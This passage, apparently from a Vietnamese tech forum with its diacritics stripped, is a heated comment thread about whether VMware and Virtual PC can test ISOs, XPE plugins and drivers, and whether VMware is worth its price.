chinh thc c h tr). La chon chng trinh cung rt quan trong. Noi tom lai ao hoa hay may ao la cac thanh phn hin nay vn chay trn thng s may tinh chu, tuy nhin gia hai may vn la 1 s khac bit. Ban co th dung may ao ma khng s h hong may chu. Bi vi cac thanh phn may ao khng ung cham n may chu. (Tuy khng phai la khng th ung cham ti no nhng rt it ngi nao lai lam vy). Va may ao la hoc tp, test cac file iso & th nghim phn mm mi noi chung, ch khng phai 1 th cng cu sa cha may tinh. Nu moi ngi co thc mc hay cn t vn thi co th lin h vi minh qua email. DrHoang Email: drhoang@*****.*** tr li Bn centos5f4vn thn, Bn ni ti c cha k sao? Cng nhn bn ng l c th lm file image vi Acronis qua Network Place nhng sau bn ni li dng my tht phc hi li file nh y, th vn khng th no ni l my o ging y ht my tht c. Phc hi file nh y tr li trong my o khng th c v bn ni kia m. Ch chun y th thy dng my o qu rc ri ri, dng my tht lm chuyn back up, restore c phi kho hn nhiu khng. Ti hon ton cng nhn cc bn ng im my o tng t( cha y ht ) nh my tht, th nghim nhiu phn mm, hc tp trong mi trng o,
nhng cn hn ch nhiu th ISO, CD do my o dng driver m phng khng phn nh tht s nhng driver ca plugin mnh to ra mun th nghim bit c thnh cng trong mi trng tht, hay khng. Bn ni cu ci cng Vic can thip vo phn cng (c th l cng) tht l hn ch v c nhiu gii hn. V d nh clone disk c, nhng ghi d liu ln li phi cn thn v rt d gp li. ng vi cu kt lun ny ca bn v chng ta c th kt thc tranh lun ri ch g? Dr Hong DrHoang Email: drhoang@*****.*** tr li bn Thi Bn Thi thn, Rt cm n gp b sung kin thc tht tuyt ca bn v my o nhung do ti cha c nhu cu nhiu nh cc bn, d mnh th nghim ci phn mm hng ngy cng nhiu( ton th ngay trn my tht ). Va may ao la hoc tp, test cac file iso & th nghim phn mm mi noi chung, ch khng phai 1 th cng cu sa cha may tinh. Test ISO nhng ring XPE cha th ng v driver m phng, khng phn ng nhng g mnh mun test coi plugin driver mi lm c hiu qu tt trong mi trng tht khng? Hiren ISO test nhng chc nng khng ci vi bn. Nhng chc nng cho o ny theo ring ti ngh khng phn nh tht ng chc nng thc cht lm trn tht ca my tht sau ny. DR Hong DrHoang Email: drhoang@*****.*** inh chnh Sorry Sao mnh nh chnh li ch sai ( phn ng ) thnh phn nh trong phn tr li bn Thi, DR Hong
nh c nhanh qu, coi khng k li c sai v xin li mi, ngh cng k tht. Tic l khng c phn chnh sa( edit ) no li ngay sau khi gi gp i do XHTT khng buc member registrer khi gp T CH BO QUC Email: tamtran56@*****.*** a ch: Long Xuyn An Giang Bc Hong l ai? Tic rng ban bin tp sao khng ng tin ca tui.... cho Bc Hang n hai vy chi.....
Nguyn Thi h Email: thaiha503@*****.*** Phn hi bi vit: VIRTUAL PC 2007 v VMWARE 60 liu c hu dng thc s? Cho cc bn! iu u tin ti mun ni l khng hiu v l g m X Hi Thng Tin li cho ng nhng bi vit khng c chuyn mn nh th ny! Ni 1 cch n gin nht th mc ch ca cng ngh o ha l cho php 1 my tnh c th lm nhiu vic ca cc my tnh khc nhau trong cng chung mt mi trng phn cng. bn Dng minh Hong d hiu ti xin ly 1 v d l bn c th dng my tnh tht ( c ci h iu hnh Windows 2kX) ci chng trnh gi lp my tnh o (VD: Virtual PC; VMWare...) ri sau ci t h iu hnh dnh cho my ch (WIndows Server xxx) cho my tnh o... hoc bn cng c th s dng my tnh o ci t cc h iu hnh thuc dng Linux hoc Unix... - Cng ngh o ha "c th" mang li rt nhiu li ch cho bt c ai s dng my tnh. VD: H thng mng ca bn c 02 my ch, 1 l DC v 1 lu tr Data. Gi y, bn mun c thm 1 my ch na lm my ch backup cho my ch DC phng my ch DC b li hoc hng. Thay v bn phi xut mua 1 my ch mi th bn c th ci t VP2007 hoc VMWare v ci t cho my o thnh my ch.... vv...vv.... V thi gian c hn nn xin php c dng y. Ti rt sn lng trao i vi cc bn, nhng ai quan tm n cng ngh o ha. Trn y l mt vi dng chia s ca ti vi X Hi Thng Tin v bn Dng
Minh Hong, ch l mt cht kin thc s ng trong cng ngh o ha c th cha l gip dng cuc tranh lun ny. Tuy nhin, vi nhng dng ny ti mong rng XHTT sau ny s c nhiu bi vit vi cht lng chuyn mn thc s xng tm l 1 tp ch ca tp on VNPT. hoang nghia tai Email: hoangtaidth@*****.*** a ch: ha noi Tel: 0976207877 Chao cac pro xin chao! em dung VMware.Nhung trong may ao chi co 1 o cung.Em dung hiren chia o nhung ko dc.Em can chia them 1 o cung nua thi lam the nao?mong cac pro chi giup DrHoang Email: drhoang@*****.*** tr li C g bn li khng hiu XHTT Cm n li gp ca bn nhng tc gi bi vit vn c quyn Bn vn c th b sung bng mt bi vit chnh bn tht dy Ti ( ti vn khng ng nhng bi khng c chuyn mn th ny.? Th bn khng thy vn cn qu nhiu bi cn sai st v kin thc tin hc cn bn y c ng sao. Kin thc tin hc v hn, c ai mi khng chu hc bao gi? cp n vn chy th ISO, CD ca Vmware cha hon ho c ch. v Vmware, ng khng? V bn chng minh n lm hon ho chy th iSO v CD( hiren, XPE ) y nh my tht xi sau ny i, ti sn sng hc hi bn y? cng nhn Vmware chy th tt nhng chng trnh tng t my tht trong mi trng o. S d c tranh lun hoi khng dt v vn c ngi cn cho my o ging y my tht.ng chuyn ny). Bn gii thch ra sao khi mun th plugin v driver Wireless, my in , card m thanh Audigy XPE cho chy ISO trong my o, lm sao bit c hiu qu plugin mnh lm ra cho XPE y, trong khi Sincerely,
Dr Hong my o ch dng driver m phng? DrHoang Email: drhoang@*****.*** tr li Bn H thn, Ti cn mun b sung mt khim khuyt na ca Vmware khi bn th nghim phn mm trn y thy qa tt, cho l n s vn tt vy khi ci vo my tht sau ny.. iu ny vn cha th no chc chn 100 o/o v sao? L do n gin bn khng th ci mi th phn mm dng test my o (y ht nh v s phn mm khc ci bao nm qua trong my tht ang chy). Ch cn khc nhau 1 vi ci thi, th vic nh ga ring phn mm test cng khng th ng v khi chy trong my tht (vi qu nhiu phn mm ci vo hn bao nm). C ci s xung t vi phn mm test nu trong my o dng test, khng c ci phn mm y ging nh nh my tht.. Bn c cao kin ch dy xin mch xem, ti sn sng hc hi bn y. Dr Hong DrHoang Email: drhoang@*****.*** tr li b sung do h online Cm n li gp ca bn nhng tc gi bi vit vn c quyn cp n vn chy th ISO, CD ca Vmware cha hon ho c ch. Bn vn c th b sung bng mt vbi vit chnh bn tht dy v Vmware, ng khng? V bn chng minh n lm hon ho chy th iSO v CD( hiren, XPE ) y nh my tht xi sau ny i, ti sn sng hc hi bn y? Ti cng nhn Vmware chy th tt nhng chng trnh tng t my tht, trong mi trng o. S d c tranh lun hoi khng dt y v vn c ngi cn cho my o ging y ht my tht. Bn gii thch ra sao khi mun th plugin v driver Wireless, my in , card m thanh Audigy XPE cho chy ISO trong my o, lm sao bit c hiu qu
plugin mnh lm ra cho XPE y, trong khi my o ch dng driver m phng? Ngoi ra, test phn mm no qua tt trong mi trng o( c t phn mm khng gin ghn my tht ) khng c ngha s ng 100o/o mi trng tht sau ny v vn c th b xung t vi qu nhiu phn mm ci bao nm qua. Mong c bn b sung hc hi thm. Dr Hong Thanh Lin Email: thanhlien21@*****.*** gop y Thi H, Cu u tin ca bn dng gp vi bc Hong khin ti tht vng v bn qu. iu u tin ti mun ni l khng hiu v l g m X Hi Thng Tin li cho ng nhng bi vit khng c chuyn mn nh th ny! Bc Hong c th cha tht ng khi cha nhn ra ht ci hay ca cc phn mm o ho, mi thy ci s on khi chy ISO, CD trong my o khng phi nh mong i ca bc y. D sao, ng bn cng khng nn dng nhng t qu t ph, cho l bi y khng chuyn mn.. Ph bnh gia 2 ngi lc no th no l chng mc, tht ng mc gia nhng ngi c hc vi nhau. Ti th bn ph bnh bc Hong nng n nh vy khi chng ti cn cha h thy bi no chuyn mn ca ng bn ra th no c. Nh c tranh lun qu si ni v phn mm o, chng ti hc v rt ra kinh nghim rt nhi trang web ny y. ng bn c tha h bt b bc Hong thoi mi bng cch tr li ng ngay cu hi m bc Hong t ra nh bn gii quyt my o sao cho n tho nht. Chng ti cn phi hc tip ng bn y. Mong lm y.
Pham Chuong Email: chuongpt@*****.*** a ch: da nang gop y "Chu Thng thn, Bc 64 tui ri khng cn tr nn chu lu cch xng h cho ng."
y li l mt bi ti thy drhoang cp n chuyn tui tc, my hm va ri ti khng reply li v ngh k hi u ni qua li vi bc, nhng tin nhn bi ny: http://xhtt.vn/index.asp?id=&subjectid=9396#comment16077, "bt qu tang" nn "phn nh" lun. Ti thy bn Thng ni ch c g v l theo cch xng h em vi drhoang c, m bc phi li tui tc ra y. Trong s hc v trao i v my tnh bc c ni n tui tc lm ci g??? Ngoi ra, theo kin ca ti, ti thy my bn duy linh, thanh lien ging iu ging drhoang lm, toi nghi bc gi danh nick phn hi t bnh vc bn thn, bc lm vy lm g nh??? DrHoang Email: drhoang@*****.*** tr li bn Chng Bn Phm Chng thn, Bn Tun ci link bn cho bit, ng l khng c g v l vi ti c nhng ti ngh bn y cn tr chc chn khng th no trn 50 nn xng em l cha ng. C th thi. Nhng c iu g ti gip bn y c g sai khng no? Tui tc cao c lin quan v chuyn mn tin hc y? Bn nghi Duy Linh, Thanh lin u l ti c, l quyn c nhn ca bn. Tic l sao bn khng bao gm lun anh bn T Ngc Tun H ni cng l ti cho b su lun. Bn y binh ti d n ht lm( cm n anh bn Tun ), ph bnh ngay chnh bn sao c bt li ti sao ni tui tc hoi, xng bc khng ng ch.. Nhng so snh bn vi Quc th hon ton khng ng ri. Xin li anh bn v iu ny nh. Th cn hai ng bn Linh hay Lin kia, liu c binh g ti qu c mt im no vy, hay h ch gp thm my o.
Liu 2 ngi y c binh ti ht bng anh bn Tun H Ni khng no? Sao anh bn khng nghi ng v xem k li bn Tun vy? Bn c tr li ngay cu hi m bn Tun t ra cho bn i nh. Nh cho ti ch dng tn tht Dr Hong ( hay Dng Minh Hong M.D ) y, khng c g phi s bt c ai gp lch s vi mnh c. T 061-3847145, a ch 29 Nguyn Tri Bin Ho . Ti g ti phi cn ti nickname ny n, cng sc tr li mi cng kch, ph bnh cc bn no cn cha hiu ti thi..Tt c ti ch mong chng ta ch dng cc t lch s trao i hc hi thm thi. Mt ln na, cm n v xin li anh bn nh. Dr Hong nguyenduy Email: nguyenduy162@*****.*** Tip tc v mt vn khng nn tip tc. Dear all, ng l ra ti chng vo c tip, nhng m ti c thy mail hoi, nn cng t m vo xem, xin mn php c gp mt s kin. 1. VMWare khng phi l o 100%. 2. Ch ai dng VMWare test driver c. Ti rt ng vi kin ca Dr Hong v vn o ho khng test c driver m bc y to cho XPE. Tuy nhin, nu v th m cho rng VMWare khng ng 299$ th tht l khng phi. Ti cng ng vi kin ca bn Thi H v vic bi vit khng phn nh ng mc ch ca o ho. ng nghip ca ti khi nghe ti k v bi vit ny tt c u ci. V l chng ti s dng o ho khng v mc ch y, v ai cng bit tha l chuyn y khng thc hin c. 1. Bn c bit 1 server gi bao nhiu khng? V ti ca n thng l bao nhiu? V l , chng ti ci 5,6 my o trn mt server ph. Mi server l mt mi trng test cho mi d n khc nhau. V i vi server th ch ai cm Audigy ln lm g c. Nu bn tnh gi 1 server trung bnh l 2000$. Ti bnh thng ca server l 30%. Chc ai cng tnh c chi ph tit kim l bao nhiu. V vn tng thch phn cng th chng ti cng khng quan tm, v chng ti chng vit driver hay chng trnh lin quan ti phn cng. Min sao window chy c l ok. V vn ny chc bc Hong ok ch nh. Windows c phi l chy m m ng khng? 2. Li th th 2 l khng cn phi ghost hay TrueImage g c. V gi s mun chy mt HDH khc hay to li HDH, n gin l chp file HDD ca VMWare l xong. Cn my ch tht, th v nguyn tc l khng c backup,
v s dng window c bn quyn. 3. Tin li khi s dng my o. cng ty ti, hu ht u dng my o, v l chng ti lm d n cho Nht, ng nhin phi dng win Jp, M LTV thng th khng bit ting Nht. Nu dng xi hng ngy th qu l qu kh khn, cui cng phi dng my o, Ngoi ra, nu KH yu cu dng Linux th coi nh chu cht nu khng c my o . Ch nh mt ngy chng ti phi ghost hng chc ln. 4. Khng nh lun cho kin ca bc Hong. Nu dng my o test nhng ci th chc chn l khng c. Bi vy nn, mong bc cng ng khng khng vi kin na. Ti cng ch thy ai khng nh vi bc l cc phn mm ca bc s chy ok trn my o c. Ti s dng my o tm lum ri, cng khng dm khng nh nt. Tuy nhin, v Audigy th ti khng bit, nhng wireless, my in th khng c vn g nh. Vn dng wifi v in m m. Cui cng, ti thy nu bc Hong ch cn c vo m kt lun VMWare ch lm c g v ci gi 299$ l mc th b phn i l ng ri. Knh cho. Nguyen Hung Thai Email: nguyenthai@*****.*** Re: Gop y Ban drhoang thn mn. y minh chi gop y thm. Nu ban nghi dung may ao test driver cho XPE thi o thc la mt u khng th lam c hin tai. Vi thc t may ao chng ra la mt chng trinh da vao thng s may tinh chu lam, nhng ngi lam ra no cha hoan thin mt cach trit . Hin nay nhng chuyn gia v may tinh ang hoan thin no. Ban mun test driver thi vn co th lam trn may ao c, ly do rt n gian la cac driver o la do ban add vao XPE nn XPE vn xem la mt h iu hanh live, chay trn CD hay DVD, va may ao co th coi la mt may tinh trong trng hp o. Minh khng nghi la ban khng th test trn may ao c. Thuc cht XPE vn la mt h iu hanh ma. Trn mt s bai bao vit v PE hay XPE hay thm chi mt s phn mm cu h, ngi ta thng hay nhc nn s dung may ao test cac chc nng cua no. Minh noi n y thi, khng i su thm vao. Tuy khng phai la mt ngi ranh v XPE (Tao hoai khng chay vi thiu phn mm) nhng v cac ng dung minh vn co th noi mt cach ro rang nht. Hy vong ban se co thm vai kin thc v may ao. Nu ban cn gi c trc tip lin h vao email minh nguyenthai@inbox.com. Minh co 1 li khuyn, nu ban mun xai may ao thi c xai th Virtual PC 2007, d dang xai hn VMWare. Cn hng dn config thi lin h minh se tra li cho. Chuc ban thanh cng hn trn cuc sng cua ban. DrHoang Email: drhoang@*****.***
tr li @Bn Thi thn, Rt tic bn cha thnh cng lm XPE ging nh ti( lm hon ho n mc cui cng ) nn kh th tranh lun tip vi bn v XPE test ISO tt hay xu( khng th no chnh xc ) trong my o nhng v cac ng dung minh vn co th noi mt cach ro rang nht. Hy vong ban se co thm vai kin thc v may ao. ng XPE l h iu hnh m nhng khng ging nh Windows XP, Windows server 2003.. XPE l mt h iu hnh hot ng c hay khng cn tu theo tng plugin bn s lm ra . Plugin no bn lm khng ng, add sai registry, driver add vo khng , khng ng cch s khng hot ng. 2 My laptop ti xi Vista, Windows XP ti vn back up bng Ghost m m hng ngy c bao gi b mt bn quyn( licensed ) u no? @Bn Duy thn, Ch ai dng VMWare test driver c. ng nghip ca ti khi nghe ti k v bi vit ny tt c u ci. V l chng ti s dng o ho khng v mc ch y, v ai cng bit tha l chuyn y khng thc hin c. Bn vn khng hiu test driver m ti ni trong XPE l g c. Test driver ny y l test plugin c driver, registry bn lm ra trong XPE c tt khng? Cc ng nghip bn ci khi c th ti cng ci li c v cc bn cha lm thnh cng XPE nh ti ri v mi chy chc nng server my o thy qu tt, b qua ht mi chc nng khc ca my o nh chy th ISO, CD D bn c sure server n y, cng khng ng ngha lm c XPE, m nh xi tm Ubuntu l th (Bn Giang, Thi). Thnh thc sorry vn ny nh. Khng ai c th t ho mnh hon ho v mi phng tin c nn bi vit y cng th: Ti mi ni qua test ISO, CD my o khng chnh xc, m vi cho cho ga y 299 USD qu mc. Gi tr ca my o c cc bn c nhu cu dng hng ngy b sung thm y l qu ng thi.
Ch tic 1 iu l ti dn xi my tnh bn, khng xi server cha thy c nhu cu dng my o c. Cu hi ca ti vn cn b lng khng ai ra tay gii quyt; l lm sao xc minh phn mm no chy th tt trong my o, s xi tt khng conflicted trong my tht. L do l my tht c qu nhiu phn mm khc ci bao nhiu nm qua ( s lng ci chc l hn nhiu trong my o ri ) DrHong nguyenduy Email: nguyenduy162@*****.*** VMWare khng test ISO u Chc hn bc Hong vn mong mun dng VMWare test XPE. Tuy nhin, tic l khng c u. Bn b ti vn s dng XPE bc . V h cng ch dng VMWare test. Nu bc cho rng chng ti khng to c XPE th bc nh gi hi thp chng ti . hi hi. Chng ti thch my o cn 1 im, l d tm driver. V l phn cng l gi lp c. Nn d tm. Hin chng ti ang test fedora core 9, Ubuntu, c server 2008, vista u trn my o. 32bit ln 64 bit. Cn v tnh tng thch vi tt c phn mm th c l chng ti cng ko cn phi lo, v chng ti ch yu pht trin cho server. M server th ch ai ci tn lon ln u nh. Chc bc cng bit server 2008 nh. N c h tr o ho . Nhng Vista th khng. V Vista ch yu cho c nhn. M c nhn th khng cn o ho. Tm li, o ho ch yu dnh cho doanh nghip, cng ty, khng dnh cho c nhn v test ISO. Mong bc thng cm cho VMWare vi. Knh cho. DrHoang Email: drhoang@*****.*** tr li tip Bn Duy thn, Bn ni lm "Chng ti thch my o cn 1 ." Bn ni vy ti ht hiu ni l bn tm driver gi lp Vy nhng ngi dng xi my tnh c nhn hng g li ch nghin cu ca bn
Bn ni cu ny, ti va " M server th ch ai ci tn lon ln 1. Nu my o khng ci tn lon trn y nh anh bn ni( khng nh ci my tht ) th ti chc chn thm 1 2. Khng test ISO Dr Hong c XPE ri? OK.Ti nhm, nhng sao bn khng vo www.911cd.net coi h c dng Vmware test ISO XPE khng nh. Vy ti sao bn ng gp 1 no ca bn cho forum y, ni l Vmware ni khng th no test ISO XPE nh?Bn cn ngi g ci g vy?.im, l d tm driver. V l phn cng l gi lp c, nn d tm lm g na . Sau ny, bn c ch bin b sung g cho Ubuntu, Fedora vi driver tm ra y, chng ch ton chy trn my o khng ? y? ng cng va khng? u nh.Tm li, o ho ch yu dnh cho doanh nghip, cng ty, khng dnh cho c nhn v test ISO"iu na l th nghim trn mi trng o y hon ton khng th no ging nh khi th ci li trn my tht ri. ng ch ri? Vy th o ho test khng sure th li ch th nghim phn mm theo bn gi nm uy?c nh bn ni vy th bn nn gp ngay vi Vmware website rng h khng nn lm bn cho c nhn na m ch nn sn xut dng server thi, dp phn ch dn xi ISO i no. nguyenduy Email: nguyenduy162@*****.*** About VMWare Chc bc bit VMWare gi lp c phn cng na. Bi th nn phn cng ca bc trong khi test my ci bng VMWare loanh quanh mi. Nu c ai dng VMWare test XPE, bo m cng ch test vng vng trong my ci driver m thi. Chc bc cng cha bit c chuyn Fedora ci trn my tht th ko chy m my o th chy u nh. V l phn cng ca my tht khng tng thch Fedora. Vy th ti sao ti phi xi VMWare, v chng ti cn mi trng sch, d thay i, d cu hnh. Bc c bit ti sao phi hng dn xi ISO khng? VD chng ti to ra 1 CD ci t. Thay v phi burn 100 ln hay 1000 ln, n gin qung ln VMWare. Tuy nhin, XPE th khc, ci chnh khi bc test XPE l test xem n c tng thch driver ca my bc khng? Cn chng ti u quan tm. Bi l CD ci software th u c cn driver nh. Cn vic test phn mm trn y thay v test trn my tht th kh m gii
thch. Bi l bc cha tng lm. Tm tt l khi develop, chng ti quan tm ti platform. cu hnh my nh th no. Ch chng ti khng quan tm ti c Audigy, c card TV hay khng? Thm ch, do nhng yu cu kht khe v tnh n nh ca h thng. My ch m c nhng th y, chng ti cn tho vt i. Cng tin y tr li cho bc v vic khng dng ghost trc y. Ngoi chuyn bn quyn, cn l chuyn n nh. V l my ch phi chy 24/7. Mt s st nh s lm t lit h thng c cng ty. V lo lng tnh tng thch ca bc, rt may l chng ti cha tng gp vn g. Thm ch, nh phn cng gi lp n nh, chng ti cn tm ra c nhiu trng hp li ca phn mm m do my ch c cu hnh ln xn, iu thng thy VN. cng l l do m VMWare c cu hnh n nh v khng ai yu cu thay i. Chc bc cng cha bit, hin ti phn mm chng ti vit, ch c a ra yu cu cho my ch, ch cha tng gp ai yu cu phi vit phn mm chy trn my ca h c. Theo ti bit, th hin ti phn ln u dng VMWare test, c trong ln ngoi nc. Nu bc cn g thc mc, chng ti sn sng gii p cho bc. DRHoang Email: drhoang@*****.*** tr li li Bn Duy Bn Duy thn, Bn ni lm "Chng ti thch my o cn 1." Bn ni vy ti ht hiu ni, l bn tm driver gi lp Bn ni thm cu ny, ti va " M server th ch ai ci tn lon ln
1. Nu my o khng ci tn lon trn y nh anh bn ni( khng nh ci my tht ) th ti chc chn thm 1
2. Khng test ISO "
Tm li, nh bn kt lun o ho ch yu dnh cho doanh nghip, cng ty, khng dnh cho c nhn v test ISO" iu na nhu ti b sung l th nghim cc phn mm trn mi trng o y hon ton khng th no ging nh khi th ci li trn my tht ri( do qu khc nhau v phn mm ci sn ). ng ch ri? Vy th o ho test khng sure th li ch th nghim phn mm theo bn gi nm My o khn test ISO, my tnh c nhn DR Hoang c XPE ri? OK.Ti nhm, nhng sao bn khng vo www.911cd.net coi h c dng Vmware test ISO XPE khng nh. Vy ti sao bn ng gp 1 no ca bn cho forum y, ni l Vmware ni khng th no test ISO XPE nh?Bn cn ngi g ci g vy?.im, l d tm driver. V l phn cng l gi lp c, nn d tm lm ci g na. Sau ny, bn c ch bin b sung g cho Ubuntu, Fedora vi ci driver gi lp tm ra y: chng ch ton chy trn my o khng ? Vy sau ny nhng ngi dng xi my tnh c nhn hng g li ch nghin cu ca bn ng va khngu y?c nh bn ni vy th bn nn gp ngay vi Vmware website rng h khng nn lm phin bn cho c nhn na m ch nn sn xut dng server thi, dp lun phn ch dn cho ai mun test ISO i no. CUong Email: cuong_dh@*******.*** a ch: QN hello Ti ang ci Virtual pc 2007 trn 2 may' co' cu' hnh khc nhau 1 my th khng nghe c nhac cn 1 my th li nghe c ( tt c cc chc nng u s dng c nhu my tht Nguyen Hung Thai Email: nguyenthai@*****.*** Re Chao. Minh va xem xong bai gi cua ban drhoang. Theo ban la khng th tranh lun nu khng thanh cng trong vic chay th XPE. y minh tn trong moi ngi chi noi ra suy nghi cua minh thi. Thc cht vic co lam ra c
hay khng khng quan trong bng vic cac ban lam no ra lam gi. y minh xin hoi ban hoang mt cu ring t la ban lam ngh gi. Nu ban la mt ngi thuc nhng nganh ngoai IT thi thi, nhng nu ban la mt ngi thuc nganh IT thi ban se hiu nhng kho khn. Nu la ngi a hoc qua trng lp v IT thi chc chn se hoc v mt h diu hanh hoat ng nh th nao. Va co th ngi o se co lun vn v Ao hoa. Nu ban noi XPE khng ging nhng thng khac la qua sai lm. Nu khng co b source cua Windows thi ly lam gi chay XPE. ( trong cai tn cung a noi ln tt ca). Chng qua la cach s dung. Mt cai la mt h iu hanh co th thc thi moi tac vu cua h thng ma ban cn, mt cai cung la h iu hanh nhng la giup cho cai thng kia no "sng" khi gp s c ma thi. Minh man phep hoi ban co bit cach nao install thng XPE vao cung chay nh mt h iu hanh chinh thng hay khng. Tt nhin cu tra li la khng, vi thc cht no khng cho phep va co th ban cung khng phai la mt chuyn vin v lp trinh (Minh khng co y noi xu u nha). Ban thn minh la mt ngi a bit qua lp trinh, tng chay th nhiu h iu hanh, ngay ca XPE, minh noi minh khng lam c la tai vi khng co thi gian tim kim phn mm; Winternal ERD minh cung th qua. Noi cho cung tui no chi la mt cng cu s cha h thng ma khng cn phai reinstall lai. Ma a la mt cng cu thi rt nho, chi cn khi phuc lai h thng la c cn chi phai chay driver. Nu ban chay driver thi chc ban mun bin no thanh mt h iu hanh chinh thng ri. Minh xin hoi thm ban dung driver lam gi. nghe nhac hay lam gi khac. Hay phuc hi driver cho may. Nu phuc hi driver thi cn gi phai thm no vao XPE, chi cn ghi ra ia hay ln mang. ngay u bai la ban noi th nhac nhng minh nhc lai XPE chi la 1 cng cu cu tr ma thi, lai cang khng phai la OS Live. Nu mun nghe nhac ma khng vao OS hay OS bi h thi xai nhng OS Live. Minh chi noi vy thi, minh khng phai la khng hiu y cua ban, nhng ban noi la cn driver lam gi thi o chinh la mu cht vn . Nu ban tra li c cai cu hoi "Chay driver lam gi trong XPE" thi coi nh phn y kin nay cung se khep lai. Hy vong ban sm tim ra cu tra li. Nguyen Hung Thai Email: nguyenthai@*****.*** Re: Ban nguyenduy va ban nghiatai Minh mun noi thm cho ban nguyenduy. Minh nghi ban la Programmer cua mt cng ty nao o ung khng? Theo ban Ao hoa la danh cho doanh nghip. iu nay hoan toan v ly i vi mt ngi trong nganh IT, co th 2 nm sau, ao hoa se ln ngi. ng nhin luc o ai cung se dung ch ko phai chi doanh nghip. Minh cung mun hoi la tai sao ban lai noi d tim driver. Tim cho ai. Ban tim cho may ao a. Lam gi co, chng qua la do Programmer lp trinh ri cai t thi, cai o khng bao gi cp nht ring, chi co trong ban mi nht cua chng trinh ao hoa. Con tim driver cho my h iu hanh thi chng co lin quan gi n may ao ca. Va ban noi cng ty ban vit cho server,
tuy nhin cac chng trinh server vn co th chay trn PC c vy, nh thng Windows Server 2003 o. Chng qua la no khng co c nhng tinh nng nh mt h thng server ma thi. Con iu nay na hang VMWare co mt phin ban danh cho Server, nhng cung co 1 phin ban danh cho ngi dung. Tra li cu hoi ban tai hoi v VMWare ma khng co ai tra li. Minh nghi la ban config co th sai mt ch nao o. Ban co vao c menu boot cua Hirent khng? Nu khng thi phai config boot nh may thng vy. Li khuyn cua minh trong chuyn nay la thay i thng VMWare thanh Virtual PC i, minh xai Virtual PC khng cn config bt c cai gi v sau, chi cn bo iso hay ia Hirent vao la boot ngon lanh, phn vung cung ngon.
DrHoang Email: drhioang@*****.*** tr li Bn Hng Thi thn, Cu hi ca bn di y r l bn cha th no quen XPE , cha dc tht nhiu bi v XPE ti www.911cd.net/forums ri. Minh man phep hoi ban co bit cach nao install thng XPE vao cung chay nh mt h iu hanh chinh thng hay khng. Tt nhin cu tra li la khng, vi thc cht no khng cho phep Sao li khng kia ch d ti khng phi l dn lp trnh chuyn nghip nh bn thi.. . Ti vn ci c XPE vo cng , Flash Drive USB, hoc cng USB chy nh h iu hnh chnh thng. C g l kh u h anh bn ? Nhng XPE li khc h iu hnh XP im ny l n khng th ci vo phn mm no chy c trong y m khng lm plugin( gm registry, driver ) cho phn mm.. Bn khng th chy setup.exe ci phn mm no trong XPE nh XP c c.,. Do vy khi mun lm ra bt c plugin no cho XPE phi test, coi bn lm tht ng cch, driver, registry ng mi bit hot ng tt trong XPE sau ny. Nu dng ISO test XPE khng chnh xc ri v driver m phng ( lm g bit c bn tm driver tht ng y trogn Plugin cha no.? Do vy bn Duy v ti thng nht khng th test ISO trong Vnware.. Bn ni thm cu ny li cha ng na ngay u bai la ban noi th nhac nhng minh nhc lai XPE chi la 1 cng cu cu tr ma thi, lai cang khng phai la OS Live.
kin ca bn ng 2 nm v trc khi BartPE mi tm ra, ch l cu h n thun. Sau ny, vi s gp sc ton th gii, Sherpya thnh cng bin Barts PE thnh XPE ( gn ging ht XP ), XPE thnh mt cng c relax everything ngoi cu h nh trc y, v gi ny bn c th nghe nhc bt c card sound no cao cp( Audigy ), thu TV, xem DVD ,iu khin my in, quay modem, ni wireless khng khc g XP . im khc mu cht gia XP v XPE l XPE lm ngay c mi th trn CD read only, khng cn vo cng lm g. Y kin ny s khp li khi ngy no bn hiu thm nhiu XPE hn na., DR Hong DrHoang Email: drhoang@*****.*** tr li bn Duy Bn Nguyn Duy thn, Cng tin y tr li cho bc v vic khng dng ghost trc y. Ngoi chuyn bn quyn, cn l chuyn n nh. V l my ch phi chy 24/7. Mt s st nh s lm t lit h thng c cng ty. V lo lng tnh tng thch ca bc, rt may l chng ti cha tng gp vn g. Thm ch, nh phn cng gi lp n nh, chng ti cn tm ra c nhiu trng hp li ca phn mm m do my ch c cu hnh ln xn, iu thng thy VN. cng l l do m VMWare c cu hnh n nh v khng ai yu cu thay i. Chc bc cng cha bit, hin ti phn mm chng ti vit, ch c a ra yu cu cho my ch, ch cha tng gp ai yu cu phi vit phn mm chy trn my ca h c.
Nhng cu gii p ca bn ng l hi ch quan, qu cc oan v ghost m kh p dng my c nhn nhiu bn c XHTT. 1) Ai lm sai st nh y lm t lit cng ty nu khng phi chuyn vin mng cng ty mng? , Sai st khi lm ghost restore th kh th no chp nhn ngi qu gii IT ri. My tnh ti nh ca bn khng bao gi lm Ghost, Acronis bao gi sao.? 2) ng may l bn (c quan) cha tng gp v tng thch nhng bn li ni phn cng gi lp n nh khi chy my o th n khng th no p dng li phn cng tht my dng c nhn ri.( ci nhiu phn khc nhau ).
3) Cng ty bn ni do yu cu ch lm cho my ch ( khch hng) nhng khng th p dng i tr cho mi my tnh th ti ht kin g na ri. Sau ny bn l chuyn qua cng ty khc yu cu khc hn s hi mt v nhng tm ti th nghim, kin thc trc y ca bn ch dnh ring cho my ch y. DRHong
Nguyen Hung Thai Email: nguyenthai@*****.*** Re: Ket thuc Minh gi bai nay mong kt thuc moi vic. Th nht tn lot minh la Hng. Th hai, cac ban y u cp duy nht chi mt chng trinh ao hoa la VMWare ma qun i mt chng trinh ao hoa ma ban drhoang nhc u la Virtual PC. Cac ban khi xai VMWare co th khng co cac chc nng hay nh Virtual PC. Minh a nhc rt nhiu n Virtual PC. Nu nh ban drhoang noi la XPE co th chi nhac thi cai nay do minh s sut, nhng minh chc chn 100% rng Virtual PC co kha nng nh yu cu cua ban la test driver. Nhng ban co hiu ro v cac dinh nghia driver may tinh khng. Cho du ban co y du driver nhng khng co component thi sao ma test c. Chng han ban chi co th test 1 driver ma may ban co ma thi, vd nh card man hinh ban ang xai hiu NVIDIA 8600 i thi chi test c no, ch co test c cai driver cua card NVIDIA 8800 u. Nhng iu quan trong y la nhng may ao thng i kem mt b componet driver va tum lum, nu ban drhoang mun test th driver thi co th cai thng XPE vao cng nu c, sau o cho chay component o, no se co driver cho ban test. nguyenduy Email: nguyenduy162@*****.*** Tr li bc Hong v nhng thc mc ca bc 1. V/v dng ghost, l yu cu hin nhin vi server . Bc c th tham kho chuyn vin mng ca cc cng ty. Nht l nhng cng ty c server c ln chuyn back up bng bng t, xem h c dng ghost hay TrueImage khng??? 2 v 3: Ch bit gii thch sao na. Tm li server ch c HDH v cc phn mm lin quan thi. Khng c ci cc phn cng khc cng nh cc phn mm 